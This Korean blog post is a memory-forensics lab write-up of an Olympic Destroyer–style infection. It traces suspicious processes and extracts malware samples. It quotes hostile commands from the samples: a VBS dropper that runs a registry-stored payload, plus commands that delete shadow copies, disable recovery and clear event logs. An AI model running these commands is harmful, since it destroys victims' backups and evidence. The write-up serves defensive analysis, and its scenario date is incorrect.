-
🥇🥈🥉 시나리오 🥇🥈🥉
2018년 9월 24일 2018 평창 올림픽 개회식이 열리기 전날, 조직위원회로부터 올림픽 입장권 담당자인 OOO씨 앞으로 메일이 도착했다. 올림픽 경기 일정이 업데이트 되었다는 내용이다. OOO씨는 해당 메일의 첨부파일 “Olympic_Session_V10”을 확인하고 홈페이지에 일정을 업데이트 했다. 다음 날 평창 올림픽 공식 홈페이지 서버가 중단되었고, 현장에 있던 PC들이 잇따라 중단되는 사고가 발생했다. 보안팀은 사고 발생 직후 최초로 감염된 것으로 추정되는 PC의 메모리를 덤프 하였다.
단서
1. 첨부파일 V10 "Olympic_Session_V10"
2. 메일을 통해 감염
imageinfo 로 운영체제 먼저 확인

기본적인 명령어를 사용해서 분석할 내용 추출 !

대놓고 OlympicDestroy가 있다 ..
부모프로세스와 자식프로세스 모두 수상해 ! !
시나리오에서 엑셀을 통해 침입했다고 했으므로 OSPPSVC.exe도 수상해 ! !
OSPPSVC.exe (Office Software Protection Platform)
- 마이크로소프트 오피스(Microsoft Office)의 정품 인증 및 보호를 담당하는 서비스
07:25 OSPPSVC.exe 실행 문서 침입? 07:25 powershell 정상 시작 OSPPSVC.exe 실행되자마자 파워셸? 16:16 OlympicDestroy 실행 감염 시점 - 악성코드명 (대.놓.고.) 직후 obfuscated 자식 프로세스 DLL injection, C2 통신, 정찰 활동 ? ? 16:24 taskeng 트리거 ⚠️ 자동실행/반복실행을 위해 ! ? 16:28 cmd 실행 추가 악성 명령 ? ? 
netscan에선 얻을 건 딱히 없지만 피해자의 IP 정도는 확인 가능 (Local Address가 본인의 IP를 나타냄)
192.168.111.130 (뒤에 숫자가 비슷하면 한 네트워크망에 있는 다른 컴퓨터)
192.168.111.128 (원격 IP)
1. 같은 네트워크에 있는 다른 컴퓨터에서 공격?
2. 공격자가 이 컴퓨터를 통해 다른 컴퓨터로 침투?

cmdline에서 얻을 수 있는 건 악성 파일로 의심되는 프로세스의 경로 정도
C:\Windows\System32\OlympicDestroyer3.exe
C:\Users\VM\AppData\Local\Temp\_xut.exe

0x000000007fc8b888 8 0 R--r-d \Device\HarddiskVolume2\Windows\System32\OlympicDestroyer3.exe
먼저 악성 코드를 추출

OlympicDestroyer3.exe 추출 완료


두 번째로는 아까 의심스럽다고 써놨던 _xut.exe를 추출
dat vs img 차이
- img는 이미지 섹션 오브젝트라는 곳에서 데이터를 뽑아오는 것
- dat는 데이터 섹션 오브젝트라는 곳에서 데이터를 뽑아오는 것
- 서로 추출 방식만 다를 뿐, 내용적으로는 비슷

OlympicDestroyer3.exe, _xut.exe 바이러스토탈에서 확인해본 결과, 둘 다 악성으로 나옴 ! ! 🚨🚨🚨

procdump로 teikv.exe, ocxip.exe는 덤프 실패해서 dumpfiles로 다시 추출
0x000000007f7640d0 6 0 R--r-d \Device\HarddiskVolume2\Users\VM\AppData\Local\Temp\teikv.exe
0x000000007fdcb548 7 0 R--r-d \Device\HarddiskVolume2\Users\VM\AppData\Local\Temp\ocxip.exe

나머지도 추출 완료

하나씩 바이러스토탈에서 확인해보자 ~

PID 620은 애-매

PID 1700은 악성 ❌

PID 2192는 악성 아닌 거 같고

teikv.exe는 악성 🚨🚨🚨

ocxip.exe도 악성 🚨🚨🚨
악성 프로세스 정리
1. OlympicDestroyer3.exe, _xut.exe
2. _xut.exe
3. teikv.exe
4. cxip.exe그렇다면 어디에서 들어와서 어떻게 나갈까? (추가 공격)
OSPPSVC.exe를 추출해서 메모리에서 멀했는지 확인해보러 고고씽


우와.. 너무 오래걸리신다..

OlympicDestroyer3.exe에서 의심스러운 문자열 발견
cmd.exe /c ( echo strPath = Wscript.ScriptFullName echo.Set FSO = CreateObject^("Scripting.FileSystemObject"^) echo.FSO.DeleteFile strPath, 1 echo.Set oReg = GetObject^("winmgts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv"^) echo.oReg.GetBinaryValue ^&H80000001, "Environment", "Data", arrBytes echo.Set writer = FSO.OpenTextFile^("%ProgramData%\%COMPUTERNAME%.exe", 2, True^) echo.For i = LBound^(arrBytes^) to UBound^(arrBytes^) echo.s = s ^& Chr^(arrBytes^(i^)^) echo.Next echo.writer.write s echo.writer.close ) > %ProgramData%\_wfrcmd.vbs && cscript.exe %ProgramData%\_wfrcmd.vbs && %ProgramData%\%COMPUTERNAME%.exe1. 윈도우 설정(레지스트리)에 숨겨둔 코드를 읽음
2. 숨겨둔 데이터를 내컴퓨터이름.exe 파일로 변경
3. 해당 파일을 실행 (악성코드 활성화)
4. 사용한 임시 파일 삭제
cmd.exe /c (ping 0.0.0.0 > nul) & if exist %programdata%\evtchk.txt (exit 5) else (type nul > %programdata%\evtchk.txt)1. 실행 여부 확인 → evtchk.txt라는 텍스트 파일 생성
2. 중복 실행 방지 (evtchk.txt가 이미 있으면 실행 X, 없으면 처음이구나? ? 실행 ! ! 😈)
3. 자꾸 실행되면 탐지될 수도 있으니까..

계정과 패스워드도 있다 . .
OlympicDestroyer3.exe
- 공격 스크립트 ⭕
- LDAP, 계정, 패스워드 ⭕
이번엔 _xut.exe 분석
SeShutdownPrivilege
- 시스템 끌 수 있는 권한 받기
vsadmin delete shadows /all /quiet
- 윈도우 자동백업 전부 삭제
bcdedit /set recoveryenabled no
- 복구 모드 끄기
- 부팅할 때 복구 기능 관련한 걸 전부 no로 설정
wevtutil.exe cl System cl Security
- 이벤트 로그 지우기 (증거 은닉)
_xut.exe 정리 (안티 포렌식)
- 복구 관련 기능을 삭제
- 부팅 관련 기능을 못하게 함
- 이벤트 로그 삭제어떻게 나가는지? (추가공격)
→ LDAP, 계정, 패스워드 훔치기, 같은 네트워크에 있는 컴퓨터 공격 의심
한국어 이슈로 Olympic_Session_V10_수정본.xls은 추출이 안됨 (의도치 않은 안티포렌식 성공(?))
어디에서 들어왔을까?
- Olympic_Session_V10_수정본.xls → OSPPSVC.exe (확실한 건 X)
추가 분석 가능한 부분들
1. memdump → strings (수상한 프로세스들)
2. payload(BASE64)
3. 네트워크 → LDAP
나중에 해봐야지..
참고 자료
[지금 무료]기초부터 따라하는 디지털포렌식| 훈지손 - 인프런 강의
현재 평점 4.9점 수강생 5,882명인 강의를 만나보세요. 기초부터 따라하는 디지털포렌식 강의입니다. 강의를 따라하다보면 "물 흐르듯, 자연스럽게" 실력이 늘어가는 강의를 추구합니다. 디지털포
www.inflearn.com
댓글